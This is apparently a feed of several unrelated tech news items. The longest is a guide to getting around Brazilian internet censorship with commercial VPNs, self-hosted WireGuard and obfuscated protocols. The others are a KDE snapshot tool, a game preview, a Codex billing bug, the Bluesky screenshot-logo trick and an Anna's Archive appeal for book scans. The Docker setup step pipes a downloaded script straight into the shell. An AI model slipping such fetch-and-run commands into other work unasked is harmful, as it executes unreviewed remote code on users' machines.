This can be used to build very handy universal “undo” or “time travel” functionality for the user. Yet, though there are graphical tools to work with Btrfs snapshots such as Btrfs Assistant , these are separate from normal file browsing, and are rather technical tools concerned with the orchestration of snapshots. Direct integration of snapshots into the file browser itself for mundane end-user purposes, like Windows has with Previous Versions or macOS with the famous Time Machine, has been lacking in the Linux world. The aim of KIO Snapshot is to build that kind of direct integration for KDE .

What it is

KIO Snapshot lets Dolphin (indeed any KDE software) list and access Btrfs snapshots of a file or subvolume.

You can right-click on a file and go to a folder view showing you all the distinct past versions of it as saved in your snapshots. ( At first, I wrote the snapshots-for-file case as a dialog with buttons to open or restore (like Windows’ Previous Versions feature), but I changed it to be a full virtual folder, since that would be much more flexible — now a user could select multiple previous versions and open them in a comparison tool, or copy them somewhere, or check their metadata easily, or whatever else they wished. )

Screenshot showing the filesnapshots KIO worker, listing the versions of a file Screenshot showing the filesnapshots KIO worker, listing the versions of a file

You also have views into entire directory trees of subvolumes at their various snapshots.

Screenshot showing the snapshot KIO worker, listing the snapshots of a subvolume Screenshot showing the snapshot KIO worker, listing the snapshots of a subvolume

Note that it does not take snapshots, it only allows access to them. To take snapshots, you would have to do it manually, or through an orchestrator like Snapper ( If you are using Snapper, you should add yourself to the ALLOW_USERS setting for your Snapper config and turn on SYNC_ACL=yes , to allow rootless access to your snapshots. See Snapper-Configs(5) and Snapper(8) § Permissions for details. ) .

How it works

Mainly it uses libbtrfsutil from btrfs-progs to talk to the filesystem, and KDE Frameworks’ Solid to query filesystems and mounts on a more meta level.

Now, the Btrfs API is quite conservative in what it allows non-superusers to do with it. Even a question as seemingly innocuous as “what subvolume is this path in?” cannot be answered for a non-superuser directly. The consequence of this is that on my first attempt at building this integration, I had one component running as a system-level DBus service which would let users query stuff like this for files they owned.

Luckily, a nudge from Méven Car made me realize that with some working-around, I could build out all the features without anything running as root. For example, while Btrfs is loath to let you get the subvolume ID for a path or vice versa, it will happily give you a listing of the subvolumes (that you can access) under a path. From there you can derive all the information needed.

Using this, KIO Snapshot implements a KIO worker that provides the snapshot:// protocol, which will be understood by all programs which use KDE Frameworks. This protocol provides a virtual view into the snapshots in a filesystem along two dimensions: the snapshots for a given subvolume, each of which is a browsable directory tree in itself; and the snapshots for a given file across all snapshots of its containing subvolume.

Allied work

Aside from KIO Snapshot itself, I also worked on some small things in other parts of KDE to support it.

  • Fixed a bug in KIO which caused inconsistent behavior in Dolphin’s location bar: KIO MR #2305
  • Fixed how Solid handled Btrfs layouts like the one used in KDE Linux: Solid MR #261
  • Special default view settings for KIO Snapshot’s views in Dolphin: Dolphin MR #1347
  • Experimented with adding support for Btrfs subvolumes into Solid itself — this is just a rough proof-of-concept, and maybe this work is more appropriate further upstream in UDisks — but here it is anyway: Solid branch btrfs-subvolumes

KDE Linux

KDE Linux will soon ship with Snapper and KIO Snapshot out-of-the-box.

Hadi Chokr did a lot of excellent integration work here: migrating the filesystem layout to make all user homes subvolumes , and automatically integrating and configuring Snapper for all users seamlessly.

This is part of a broader initiative in KDE Linux to improve data backup and restore systems , which has also overseen improvements elsewhere, such as in the Kup backup system.

Release

The first stable release of it was made today (thanks to Bhushan Shah for helping with the release process). I imagine it should be getting packaged into distros fairly soon, thanks to the infrastructure that comes with being a KDE project, but even then it should be easy enough to compile from source. Please use it and report bugs and requests , thank you!

Stupid Never Dies – a zombie fights for the love of a frozen corpse

Guardian
www.theguardian.com
2026-08-21 01:00:26
Free from a big brand’s audience expectations, new studio GPTrack50 has created a wacky action-packed romp through a monster-filled world for its first game Love is blind. In Stupid Never Dies, it is also frozen solid and technically dead as Davy, the weakest zombie in monster society, discovers Jul...
Original Article

L ove is blind. In Stupid Never Dies, it is also frozen solid and technically dead as Davy, the weakest zombie in monster society, discovers Julia’s body in a shopping centre and falls in love at first sight. He wants to bring her back to life and take her on a date. Unfortunately, that means defeating the King of Monsters (KOM) and accidentally saving humanity along the way.

This is the gloriously ridiculous setup for this forthcoming action RPG from GPTrack50, a new studio founded by former Capcom producer Hiroyuki Kobayashi. Its world looks much like ours, except that monsters have always been part of everyday life: whereas we might find a bear in the mountains or a stray dog in the woods, residents here encounter werewolves and zombies.

Five figures in a row inside a mall: a female zombie on a motorbike, a gargoyle in a shopping trolley, the male zombie protagonist, a man with pointy ears and wolf-like feet, and a young woman holding a weapon adapted from a broom.
Everyday monsters … Stupid Never Dies. Photograph: GPTrack50

That uneasy normality ends when KOM crushes civilisation and leaves only 2% of humanity alive. Davy begins even lower down the social ladder. Zombies , says Kobayashi, are “the weakest of the weak”. But eating a mysterious egg gives this particularly unimpressive corpse the power to fight back.

Because Davy is already dead, combat throws out the usual need for self-preservation. Forget defence: guarding and dodging are pushed aside in favour of “attacking, attacking, attacking”. Kobayashi describes it as a game made “by the action game lover, for the action gamer”.

A frenetic fight scene featuring multiple enemies with health bars above their heads.
‘Funky zombie action’ … Stupid Never Dies. Photograph: GPTrack50

Its two main systems make full use of Davy’s unreliable body. He can consume defeated monsters, steal their skills and transform into creatures including a werewolf, vampire or harpy. The “body hack” mechanic goes further, allowing players to replace his head, arms and legs with equipment. Attach a sword to an arm and Davy gains sword attacks; fit a gun and he starts shooting. Being undead has never looked so practical.

Kobayashi calls the result “funky zombie action”, a phrase coined to give the development team a shared idea of the game’s tone: fast, colourful and darkly funny. It also captures the freedom Kobayashi found after years working on some of the world’s most famous franchises, including Resident Evil and Devil May Cry .

Large franchises bring large audiences and expectations. A new studio making a new IP had neither. As Kobayashi says, “We don’t have a fan yet.” That has allowed its team of around 30 developers, many recruited from companies including Capcom, Konami and Square Enix, to use stranger jokes and sharper humour than they ever could when working on those older series.

The studio itself began almost as scrappily as Davy. In its early months, GPTrack50 had programmers and designers but no artists, so the team bought outside assets to build a rough white-box prototype. Around 20 external companies eventually joined the three-year production, drawn, Kobayashi says, by the chance to create something completely from scratch. He hopes players finish thinking: “This is the experience that I was looking for. This is a new thing.”

Underneath the monster-eating and gun-limbs is a simple underdog story: Davy rises from the bottom of monster society to challenge its king, but he is not driven by glory. Saving the remaining humans is almost incidental, as Kobayashi explains: “He wants to go out for a date [with] this frozen girl.”

Romance isn’t dead; it just needs defrosting.

Micron announces $10B research hub in Boise

Hacker News
investors.micron.com
2026-08-20 23:51:58
Comments...

Codex on AWS bedrock bug causing 10x charges

Hacker News
github.com
2026-08-20 23:17:43
Comments...
Original Article

Summary

Native Codex CLI requests to Amazon Bedrock Mantle cannot opt into GPT-5.6 Sol explicit prompt caching. On an agentic coding workload, this has produced a large volume of cache-write tokens and materially higher cost.

This is related to #35300 , but adds independent production usage evidence from the native amazon-bedrock provider.

Environment

  • Codex CLI: 0.147.0
  • Provider: native amazon-bedrock
  • Endpoint: Bedrock Mantle Responses API, us-east-1
  • Model: openai.gpt-5.6-sol

Observed production usage

For the completed days 2026-08-05 through 2026-08-08, Cost Explorer usage quantities and the Bedrock rate card produced the following cache-aware estimate for Sol:

Requests Cache-write tokens Estimated cache-write cost Estimated total cost
3,656 171.94M $1,182.09 $1,386.46

Cache writes were about 85% of the model's estimated spend.

A local Codex session also reported 76 Sol requests with 6.709M cache_write_input_tokens , zero cached_input_tokens , and an average of about 88K cache-write tokens per request. There were no client errors in the corresponding CloudWatch metrics.

These are usage-derived estimates, not finalized AWS invoice amounts.

Investigation

Codex already emits a session-scoped prompt_cache_key , but the request types for both HTTP and WebSocket Responses requests do not include either:

  • prompt_cache_options
  • prompt_cache_breakpoint

The built-in Amazon Bedrock provider config exposes transport/auth settings, not structured request-body transformation, so this cannot be configured through config.toml .

AWS documents explicit cache mode for GPT-5.6 on Bedrock specifically for agentic workflows with long stable instructions/tool definitions followed by changing tool and user content. That matches the workload above.

Requested behavior

  1. Add support for serializing prompt_cache_options for GPT-5.6-capable Responses providers.
  2. Add a typed prompt_cache_breakpoint field to supported input content blocks.
  3. Provide a provider/model capability gate and a safe placement strategy at the end of Codex's measured stable instruction/tool prefix.
  4. Surface cache reads and cache writes in per-turn usage telemetry so users can diagnose costly full-prefix rewrites.

Scope

This report does not claim that every cache write is a defect. Cold starts, genuinely distinct prompts, forks, and compaction can all require writes. The issue is that native Bedrock Codex currently has no way to use the documented explicit-cache mechanism for the stable-prefix case.

How Bluesky and Threads Sneak Their Logos Into iOS Screenshots

Daring Fireball
timmarinin.net
2026-08-20 23:03:08
Bluesky and Threads both pull the same trick: When you take a screenshot on iOS of an individual tweet, they replace the “Follow” button in their user interface with their logo. Tim Marinin noticed this in the Bluesky app, got curious, and because they publish the app’s source code, he dug in to fig...
Original Article

Sometimes I take a screenshot of a post I like, either to send it to friends/meme channel or to save a “durable” copy. Like this one (I’ve cropped out the rest of the interface):

A screenshot of Bluesky post by @eroston.bsky.social, the important part is that Bluesky logo is visible in the top right corner
Original , if you want to reskeet it

I noticed the Bluesky logo in the right corner and thought that it was weird that the logo doesn’t bother me when I use the app. Then I looked at the post in the app again—logo wasn’t there, replaced by the “Follow” button.

I remembered that a few apps hide their logo where the iPhone notch is, so that it doesn’t stick out, unless you take a screenshot. But here the logo is placed in the open, so how do they do it?

I tried to take another screenshot, this time mid-switching to the other app:

Screenshot of zoomed out version of Bluesky app mid-switching, Follow button is visible
The “Follow” button is visible when I take the screenshot mid-switch.

Did they somehow set up a listener for two buttons I’m pressing to take a screenshot and do a switcheroo at the last moment? I’m not an iOS developer, so I’m not sure what’s possible and what is not over there.

At this point I was mildly intrigued. Thankfully, I remembered that Bluesky app is open source (or at least the code is available to look at).

The answer was in the file literally called GrowthHack.tsx , introduced in January 2026 by mozzius . But it merely used a dependency, so to understand I looked into package expo-privacy-sensitive , also by them.

The package creates UITextField with isSecureTextEntry property set to true and renders the actual content (the button) into that field’s .layer . When I take the screenshot, iOS hides this UITextField by blanking the layer, allowing the Bluesky logo to flutter its wings through (it was here the whooole time). For other platforms it simply renders content as-is, without masking.

Why doesn’t it work when I switch between the apps? I suppose that iOS takes a snapshot itself at the start of the gesture (without triggering blanking), and when I do a screenshot, there is no live UITextField instance to react to that, only the inert snapshot. But once again, I’m not an iOS developer.

Nifty trick or an abuse of API meant for privacy? The people in the thread adding the behavior mostly didn’t like it, before the thread got locked. I think it’s cute.

I googled a bit, and the trick is well-known. Telegram implemented similar thing for its "secret" chats , as did Signal , so I don’t expect it to be patched by Apple any time soon.

Survival Guide for a Censored Internet

Lobsters
www.akitaonrails.com
2026-08-20 22:42:17
Comments...
Original Article

Last week I wrote about the Discord censorship and Brazil’s Digital ECA law , the Digital ECA (“Estatuto Digital da Criança e do Adolescente”, the digital version of Brazil’s Child and Adolescent Statute): the ANPD (Brazil’s data protection authority, now also the country’s de facto internet regulator) ordered the Go Live feature shut down nationwide because end-to-end encryption prevents content surveillance, and in the same package came the first sentence enhancement in Brazilian history for committing a crime “using a VPN”. After that article, the question I got the most was the obvious one: “OK, so what do I do?”

This article is the answer: a practical guide, from easiest to hardest, to keep your communication channels standing as the siege tightens. Because the siege is tightening, and you should understand its pace before picking your tools.

The track record: none of this is new

Anyone surprised by the Discord case was not paying attention. The Brazilian judiciary has been blocking communication services for over a decade, always steamrolling millions of innocent users to reach half a dozen suspects:

Notice what happened there: for the first time, using a neutral privacy tool became, by itself, punishable conduct in Brazil. Nobody was fined in the end, but the infrastructure to fine people was built, tested and documented. And in 2026 Congress voted and the president signed a sentence enhancement for crimes committed with a VPN. The X precedent stopped being an exception and became repertoire.

Keep this: in the X case, the Brazilian state already treated VPN users as offenders, already tried to pull VPNs from app stores, and already requested reports on who bypassed the block. All of it documented, in court orders and public reports.

The endgame: the Chinese model

I have little doubt that very well-positioned people in government look at China’s Great Firewall with envy, not horror. And it is worth understanding what it is, because it defines the limit of the game.

The Firewall goes far beyond blocking websites. It is deep packet inspection (DPI) at national scale, running on the country’s internet backbone: all traffic is classified in real time, known VPN protocols are identified by their handshake shape and dropped, Tor is blocked by default, and only state-approved VPNs (meaning, with a backdoor) operate legally. Ordinary citizens caught using unauthorized VPNs get fined. And even when the traffic cannot be read, the metadata gives the game away: who talks to whom, when, for how long.

That is why the honest answer to “can you bypass a Firewall like that without being noticed?” is: no, not for an ordinary citizen . Against a state-level firewall of that caliber, no consumer tool makes you invisible. At best it makes you too expensive to be worth persecuting at scale. Anyone selling you total invisibility is lying.

The good news is that Brazil is nowhere near that point. Censorship rarely arrives all at once: it comes in steps, and each step has a matching defense. The rest of this guide is that staircase, step by step. The logic behind everything that follows is a single one: censorship is a matter of cost . Our job is to make blocking expensive, technically and politically, until mass deployment becomes impractical.

Keep this: against a complete state firewall, no tool makes you invisible, only too expensive to persecute at scale. The game is climbing your staircase before the censor climbs his.

Phase 1: Commercial VPN, the minimum everyone should have

Start with the obvious. A VPN (virtual private network) creates an encrypted tunnel between your device and a provider’s server. Your ISP (internet service provider) now sees only a scrambled flow going to a single address; the sites you visit see the VPN’s IP, not yours. I explain it in depth, with the networking theory underneath, in Akitando 126 (in Portuguese).

What a VPN does : hides your traffic from your ISP, swaps your exit IP, gets you out of geo-blocks and of court-ordered DNS/IP blocks. What it does not do :

  • It does not make you anonymous. The VPN provider sees all your traffic in place of your ISP. You did not eliminate the watcher, you just picked a different watcher.
  • It does not hide your identity if you paid by credit card. A credit card subscription ties the VPN account to your tax ID. If authorities show up at the provider with a court order, your name is there.
  • It does not protect content past the tunnel. From the VPN exit to the final website, the web’s normal encryption (HTTPS) applies. The VPN is one leg of the path, not the whole path.

That said, for the early phases of the siege it does the job. My recommendations, in order:

  • ProtonVPN : Switzerland, outside easy jurisdiction, open source and audited, a no-logs policy tested in court, a decent free tier, and it accepts payment even in cash by mail.
  • Mullvad : Sweden, the most paranoid on the market: it does not even ask for an email, your account is a random number. Flat €5/month, accepts cash in an envelope and cryptocurrency. It is the closest thing to an “identity-less VPN” that exists as a commercial product.
  • NordVPN and the like work technically, but their money goes more to marketing than to privacy posture. Among the big ones, I stick with the two above.

The limit of this phase is well known: the exit IPs of famous VPNs are public and catalogued. An order from ANPD or Anatel to national ISPs to block those ranges is technically trivial, and the X case showed that pulling the app from the store is also on the menu. When (not if) that happens, the commercial VPN dies in a day. That is why Phase 2 exists.

Keep this: a commercial VPN is a seatbelt: use it always, but know it depends on three things outside your control. The app staying in the store, the IPs staying unblocked, and the provider staying honest.

Phase 2: Self-hosted VPN, your own tunnel

The move here changes shape: instead of subscribing to a service with millions of users and catalogued IPs, you rent a cheap little server outside Brazil and build your personal VPN. There is no public list with your IP for the censors to download. You are one user on an unknown IP, indistinguishable from any other traffic until someone looks closely.

Picking the provider (and why not AWS, Azure or Google Cloud). The big clouds have huge, public, well-mapped IP ranges (ASNs). Blocking them wholesale is one line in a routing table; the only brake is collateral damage (plenty of legitimate Brazilian businesses live there), and other countries have paid that price in crises. Smaller providers dilute that target. Options I would consider, from mid-sized to small:

Provider Based in Why
Hetzner Germany/Finland Cheap, reliable, out of easy reach
OVH / Scaleway France Same, European jurisdiction
Contabo Germany Very cheap, low profile
Vultr / DigitalOcean US/global Mid-sized, known but not giant
BuyVM , HostHatch , LiteServer US/Europe Small, off every obvious list

A US$ 3 to 5 machine with 1 GB of RAM is plenty for a personal VPN. Important caveat: paying for a VPS (virtual private server) with a credit card leaves a trail just like the commercial VPN: your name is in the provider’s records, and the provider can be legally compelled. Some accept cryptocurrency, which reduces (does not eliminate) the trail. For most people, at this phase, the signup risk is acceptable: you are not hiding from a named investigation, you are getting out of the aim of a mass block.

Step by step: WireGuard with wg-easy

I will use wg-easy , which packages WireGuard (the modern, fast, auditable VPN protocol) into a Docker container with a web panel and QR codes to set up your phone in seconds.

1. Rent the VPS. Ubuntu 24.04, the smallest machine available, in a region outside Brazil (Amsterdam, Frankfurt and Helsinki are classic choices for jurisdiction and acceptable latency).

2. Log in and update:

ssh root@YOUR_IP
apt update && apt upgrade -y

3. Install Docker:

curl -fsSL https://get.docker.com | sh

4. Generate the panel password hash (wg-easy does not accept a plaintext password; write down the password you choose):

docker run --rm -it ghcr.io/wg-easy/wg-easy wgpw 'YourStrongPasswordHere'
# the output looks like: PASSWORD_HASH=$2b$12$abc...
# in the command below, double every dollar sign: $ becomes $$

5. Start the container:

docker run -d \
  --name=wg-easy \
  -e WG_HOST=YOUR_IP \
  -e PASSWORD_HASH='$$2b$$12$$abc...' \
  -v ~/.wg-easy:/etc/wireguard \
  -p 51820:51820/udp \
  -p 51821:51821/tcp \
  --cap-add=NET_ADMIN \
  --sysctl="net.ipv4.conf.all.src_valid_mark=1" \
  --sysctl="net.ipv4.ip_forward=1" \
  --restart unless-stopped \
  ghcr.io/wg-easy/wg-easy

6. Open the firewall. Port 51820/UDP is the tunnel itself. Port 51821/TCP is the panel: do not leave the panel exposed to the internet . The right way is to open it only through an SSH tunnel ( ssh -L 51821:localhost:51821 root@YOUR_IP and browse to localhost:51821 ), or to open 51821 just long enough to create your clients and close it right after.

7. Create the clients. In the panel, one click generates a client with a QR code. Point the official WireGuard app (Android/iOS) camera at it and you are done. On a laptop, download the config file and import it into the WireGuard client.

Done: all of your device’s traffic exits through your European server. Your Brazilian ISP sees only a scrambled flow to some random IP in Germany.

And on your machine, how do you use it?

The server is half the story. On your device, the ritual goes like this:

On your phone (Android/iOS): install the official WireGuard app from the store (or from F-Droid on Android). Tap the "+" , choose “Scan from QR code” and point it at the code the wg-easy panel showed. A new “tunnel” appears in the list: one tap on the switch and you are in. On iOS, enable “On-Demand” in the tunnel settings so it reconnects by itself when you switch networks (Wi-Fi to 4G, for instance).

On your laptop (Windows/macOS): download the official WireGuard client for your system, click “Import tunnel(s) from file” and select the .conf you downloaded from the panel. One click on “Activate” and done. Important detail: the official client has a “Block untunneled traffic” option (the kill switch): turn it on. If the tunnel drops, your internet stops instead of leaking through your real IP.

On Linux: copy the .conf to /etc/wireguard/wg0.conf and bring it up with sudo wg-quick up wg0 (plus sudo systemctl enable wg-quick@wg0 to start it at boot). Or import the file straight into NetworkManager through the graphical interface, if you prefer clicking to typing.

A complete client .conf , for reference, looks like this:

[Interface]
PrivateKey = <THIS device's private key>
Address = 10.10.0.2/32
DNS = 1.1.1.1

[Peer]
PublicKey = <server public key>
Endpoint = SERVER_IP:51820
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 25

Two details worth their weight in gold here. PersistentKeepalive = 25 keeps the tunnel alive when you are behind NAT (home network, 4G), preventing the connection from silently dying. And AllowedIPs = 0.0.0.0/0 is what pushes all traffic into the tunnel; without it, only traffic to the VPN’s own IPs goes out encrypted. (The DNS = line works fine on Windows, macOS and phones; on Linux with systemd-resolved it can get in the way, as I explain in the common mistakes below.)

Checking that it worked: with the tunnel active, run curl ifconfig.me in a terminal (or open ipleak.net in the browser). It must show your VPS IP, not your home one. If your network has IPv6, check separately with curl -4 ifconfig.me and curl -6 ifconfig.me : both must show the server. And visit dnsleaktest.com : DNS must exit through the tunnel too. If your ISP’s DNS server shows up, there is a leak to fix.

Minimum maintenance: enable unattended-upgrades so the system patches itself, use SSH keys instead of passwords, and install nothing else on that machine. Small surface, small risk.

The 2026 way to do this: let the AI configure it

If you got stuck on some step, remember it is 2026: you no longer need to master every command in this guide. I went down that path myself. I rented the VPS, handed the SSH access to the AI agent and asked for the full setup; on the other side, on my own machine, it imported the .conf , brought up wg-quick , enabled it at boot and checked for leaks at the end. Today my server is a reproducible Ansible playbook (kill the VPS, spin up another, run one command) and my laptop’s config follows the same pattern. All in private repositories, private on purpose: VPN configuration is not the sort of thing I want strangers peeking at.

My private Gitea repository with the server’s Ansible playbook: “Private” badge, roles, group_vars and an operations README

Mine, running on my own Gitea: private, versioned, and the whole server comes back up with one command.

And if you are going to ask an AI to configure it, skip the generic “install me a VPN” and hand over the real requirements. Something like this:

Turn this fresh Ubuntu 24.04 VPS into a robust WireGuard server,
preferably through an idempotent Ansible playbook (I want to be able to
destroy the VPS and recreate everything by running one command).
Requirements:

- WireGuard managed by wg-quick@wg0, server key generated on the server
  itself (mode 0600), no exposed web panel
- Dual-stack tunnel: IPv4 and IPv6 (fd00::/64 ULA subnet with NAT66), so
  no traffic leaks outside on networks with native IPv6
- ufw denying everything except SSH and the WireGuard UDP port
- key-only sshd (no passwords), fail2ban on sshd, unattended-upgrades
  with no automatic reboot
- Peers declared as data in a config file: adding a client = adding one
  entry and running the playbook again
- Generate client .conf files with PersistentKeepalive=25, full-tunnel
  AllowedIPs and QR codes via qrencode
- At the end, print the verification commands (curl -4/-6 ifconfig.me,
  wg show)

Finally, hand me a short operations README: how to add a client, how to
update, when to reboot.

The difference between a “working” server and a solid one lives entirely in those requirements: dual-stack, closed firewall, passwordless sshd, peers as data, reproducibility. The technical barrier of this entire article has, in practice, become a conversation.

Common mistakes (and how to avoid them)

I keep seeing the same stumbles whenever someone sets up their first self-hosted VPN. All avoidable:

  • Exposing the wg-easy panel to the internet. The number one classic mistake. The panel is the key to the vault: open on port 51821, any botnet scan finds it within hours. SSH tunnel always, open port never.
  • Weak or recycled passwords on the panel and SSH. An entire VPN protected by changeme123 is worse than no VPN. And disable SSH password login for good ( PasswordAuthentication no in sshd_config ) once your key is set up.
  • Thinking you are anonymous because the IP is “yours”. The VPS is in your name, paid with your card. It protects you from mass blocking, not from an investigation with your name on it. The wrong level of paranoia creates a false sense of security, which is worse than none.
  • A VPS in Brazil or from a Brazilian company. I have seen people build a “privacy VPN” on a national provider. If the court order arrives in the same country, you did not leave the reach, you just changed shelves. Server abroad, jurisdiction abroad.
  • Handing out access to half the world. Each extra person is one more device, one more usage pattern, one more mouth. Close family, fine; a 40-contact group, no. The more people on the same IP, the faster it lands on some list.
  • Using the same machine for other things. Personal blog, Telegram bot, seedbox: all of that grows the attack surface and ties together identities you wanted separate. The VPN VPS is for the VPN only.
  • Trusting without testing for leaks. After setting up, test: ipleak.net or dnsleaktest.com with the VPN on. If your real IP or your ISP’s DNS shows up, something is wrong, and this is the only way you find out.
  • Forgetting IPv6. This one got even me: an IPv4-only tunnel on a network with native IPv6, and all the v6 traffic goes around the VPN, in the clear, without you noticing. Either the tunnel is dual-stack, or half of your traffic leaks. Test with curl -6 ifconfig.me .
  • The DNS = line breaking the Linux client. On systemd-resolved systems (Ubuntu, Fedora and the like), wg-quick calls openresolv to write the DNS, openresolv refuses to touch the /etc/resolv.conf owned by systemd-resolved (“signature mismatch” error) and the whole interface fails to come up. If your system DNS already works fine, just remove the line: queries ride the tunnel anyway.
  • Losing the printer, the NAS and the local network. With AllowedIPs = 0.0.0.0/0 , even traffic inside your own home tries to go through the tunnel. The fix is a policy routing rule evaluated before WireGuard’s own rules: PostUp = ip rule add to 192.168.0.0/16 lookup main priority 1000 (plus the matching PostDown to undo it on shutdown).
  • Chaining wg-quick down && up . down returns an error when the interface is already down, and with && the up never runs. Run up on its own.
  • Installing and abandoning. A server without updates for a year is a server with known vulnerabilities. And test the connection from time to time: what works today can be fingerprinted tomorrow.
  • No backup of the configuration. The ~/.wg-easy directory holds everything (keys, clients). Keep an encrypted local copy. If the VPS dies or gets shut down by the provider, you bring another one up in ten minutes instead of starting from zero.

Keep this: a US$ 5 VPS outside Brazil running WireGuard gets you out of any mass block based on catalogued IPs. The price is your signup record at the provider: acceptable against blocking, insufficient against a named investigation.

The invisible enemy: DPI

So far I have assumed the censor blocks addresses . Their next level is blocking formats , and that is where deep packet inspection (DPI) lives.

Even encrypted, a VPN tunnel has a signature. The initial handshake of WireGuard and OpenVPN has characteristic packet sizes, sequences and timings. The content is unreadable, but the shape screams “I am a VPN”. China does exactly this at national scale: it does not need to read your traffic, it only needs to recognize the protocol and drop the connection.

Keep this: the censor does not need to read your traffic to block you. Recognizing the tunnel’s shape is enough. That is why obfuscation exists.

The technical answer is obfuscation : making the tunnel look like something else.

  • AmneziaWG : a WireGuard fork that injects junk packets and scrambles headers until the signature vanishes. Same audited WireGuard base, free apps for every platform, and it points at the same kind of VPS from Phase 2. If you set up wg-easy, migrating to Amnezia is the natural step when DPI arrives.
  • udp2raw : wraps WireGuard’s UDP traffic inside fake TCP packets that look like an ordinary connection.
  • Shadowsocks : born in China precisely for this, an encrypted proxy designed to have no recognizable signature.

Notice we are still talking about free tools and a US$ 5 VPS. The cost rises for the censor much faster than for you.

Phase 3: when even your VPS is not enough

If the scenario degrades to national DPI with protocol blocking, the game becomes heavy camouflage and redundancy. The real options, in order of effort:

Protocols that disguise themselves as ordinary HTTPS. The current state of the art is VLESS with Reality (from the Xray-core project): your traffic presents itself as a legitimate TLS 1.3 connection to a real, innocent website, with certificate, handshake and packet pattern indistinguishable from a normal visit. To block you, the censor would have to block the innocent site too, and the collateral damage is the defense. Trojan-Go follows a similar philosophy. Outline , from Jigsaw (Google), packages Shadowsocks with a friendly manager if you want to hand out access to family and friends.

Tor with bridges. Plain Tor is blocked by default in censoring countries, but obfs4 bridges and Snowflake were tailor-made for that scenario: Snowflake disguises your entry into the Tor network as an ordinary WebRTC video call. It is slow, forget streaming, but it is the hardest network to extinguish in existence, maintained precisely for journalists and activists in hostile countries.

Redundancy and rotation. Two or three cheap VPSs at different providers, with automatic failover. If one lands on a blacklist, you switch in minutes: new instance, new IP. Your cost: another US$ 5. The censor’s cost: find and block it again, every time.

Alternative access. Starlink and other satellite links leave the national ground infrastructure entirely. As long as they are not regulated as well, they are the physical last resort. And for extreme cases, the usual sneakernet: thumb drive, external disk, physical copies.

Client-side hygiene , valid in every phase:

  • Kill switch on : if the tunnel drops, the device cuts the internet instead of leaking through your real IP.
  • DNS leak protection : your DNS queries must go through the tunnel, otherwise your ISP keeps seeing every site you visit.
  • WebRTC disabled in the browser (or use an extension): it leaks your real IP even with the VPN on.
  • VPN on when needed, not always : a 24/7 usage pattern becomes a behavioral signature of its own.

And the usual honest notes: running your own server for personal use is legal; using it to commit crimes is not. And since 2026, with the new sentence enhancement, “using a VPN” weighs on the sentence of any crime you would commit anyway. Keep the surface small, test your connectivity from inside Brazil regularly (what works today can be fingerprinted tomorrow), have a plan B (a second VPS, a Tor profile with bridges) and keep offline copies of everything critical.

Realistic assessment: no solution is permanent against a determined, well-funded censor. The goal here is different: make mass blocking expensive until it becomes a bad deal, technically and politically. A country that needs to take down half of the legitimate internet to silence half a dozen voices has a public relations problem, not a technology one. That cost is where we place our bet.

Keep this: the staircase is commercial VPN, then your own VPN, then obfuscated protocol, then Tor with bridges, then satellite. Each step raises your cost a little and the censor’s a lot. Start climbing before you need to.

Conclusion

The Brazilian pattern is what I called censorship by accumulation: no single step looks like the end of the world, and each comes with its little plaque of good intentions. But blocking infrastructure, once built, has no moral owner: it serves today’s government and tomorrow’s, against today’s target and against you.

Free communication infrastructure works exactly the same: also built by accumulation, also brick by brick. A commercial VPN configured today. Your own VPS tomorrow. An obfuscated protocol in the drawer for when it is needed. None of this is paranoia. It works like backups: you do not wait for the disk to fail before starting.

And if you want to follow this frontier closely, a personal recommendation: follow Ayub . He is the best source on internet infrastructure and state censorship in Brazil today. He was the one who sounded the alarm about the VPN criminalization in bill PL 3066/2025 months before it became law. And in recent days he has been covering two things the mainstream press barely touched: the handover of over R$ 100 billion in public networks, ducts and federal properties to the carriers and BTG Pactual, and the technical apparatus of the new Marco Civil regulation, which according to him gave Anatel remote access to ISPs’ edge routers . He posts in Portuguese, but your browser’s translator handles it. Required reading to understand where the next step of the staircase comes from.

The best time to build your tunnel was before you needed it. The second best time is now.

AI companies destroy physical books – let's scan rare books before it's too late

Hacker News
annas-archive.gl
2026-08-20 22:37:47
Comments...
Original Article

annas-archive.gl/blog, 2026-08-05

A guest post by Anna’s Archive volunteer “u” (translated from Chinese).

TL;DR: AI companies are secretly buying, scanning, and destroying millions of physical books to train their models, permanently locking human knowledge inside private corporate servers. Anna’s Archive is urgently calling on volunteers worldwide to scan and upload books before this cultural heritage disappears forever.

Several AI companies are acquiring large quantities of secondhand books through intermediaries, scanning and destroying them, all to obtain training data “untouched by machines” from before 2022.

Anthropic’s “Project Panama” was exposed in a $1.5 billion copyright settlement. In early 2024, they launched this highly confidential project. The company has spent tens of millions of dollars purchasing millions of paper books, scanning them, training its Claude LLM, and then destroying them all. It’s outrageous is that it’s legally permissible, but ethically, it’s an extremely serious crime against humanity.

So why destroy physical books? Behind it lies the AI race and the interests of capital:

  1. It prevents these books from being scanned and used for training by competitors.
  2. It avoids legal risks.
  3. Destroying books is cheaper than lossless scanning.

After AI companies massively scan and destroy physical books, they become the only ones in the world with digital copies. Knowledge is permanently monopolized on private servers.

This battle for old books reveals a paradox: while promising to “make human knowledge accessible,” AI companies are dismantling the most solid carriers of human knowledge. The public may gain more intelligent AI assistants, but at the cost of a vast amount of knowledge resources disappearing from the public domain.

Shadow libraries

As the world’s largest shadow library, Anna’s Archive needs a plan to combat the destruction of physical books by AI companies. After all, the emergence of shadow libraries is the greatest miracle of knowledge sharing in the 21st century. Along with other shadow libraries, we’re building a digital library of Alexandria, an inextinguishable light of humanity.

We need the help of volunteers worldwide to scan materials (including books, journal articles, newspapers, magazines, ancient books, rare books, and other materials) from every library and archive around the world and upload them to the shadow library for knowledge preservation, especially those that are easily lost. If every person scans a book, and there are 10 million volunteers worldwide, we can obtain 10 million pieces of invaluable wealth.

  • For small scans and uploads, we usually award recognition and lifetime membership to Anna’s Archive.
  • For large-scale scans and uploads of books, we can help pay for the scanning fees and other rewards.

Time is running out

Since the beginning of 2025, AI-generated content has accounted for more than half of newly published internet content. A frightening reality emerges: if much of the future content consists of AI-generated books and papers, will humans be able to distinguish them? Once AI has absorbed even the last sentence written by humans on paper, all that will remain on the internet will be AI’s own words. In such a world, how can human civilization be preserved?

Shadow libraries offer the best answer. If you want the memory of human civilization to no longer be monopolized, if you want future generations to be able to read all of humanity’s wealth for free, if you don’t want publishers making a fortune while authors receive little, then please help us. Please make any contribution you can, whether it’s scanning and uploading books, purchasing books and papers to scan and upload, or donating. With the efforts of all humanity, the monopoly on knowledge will be broken. Each of us can make history.

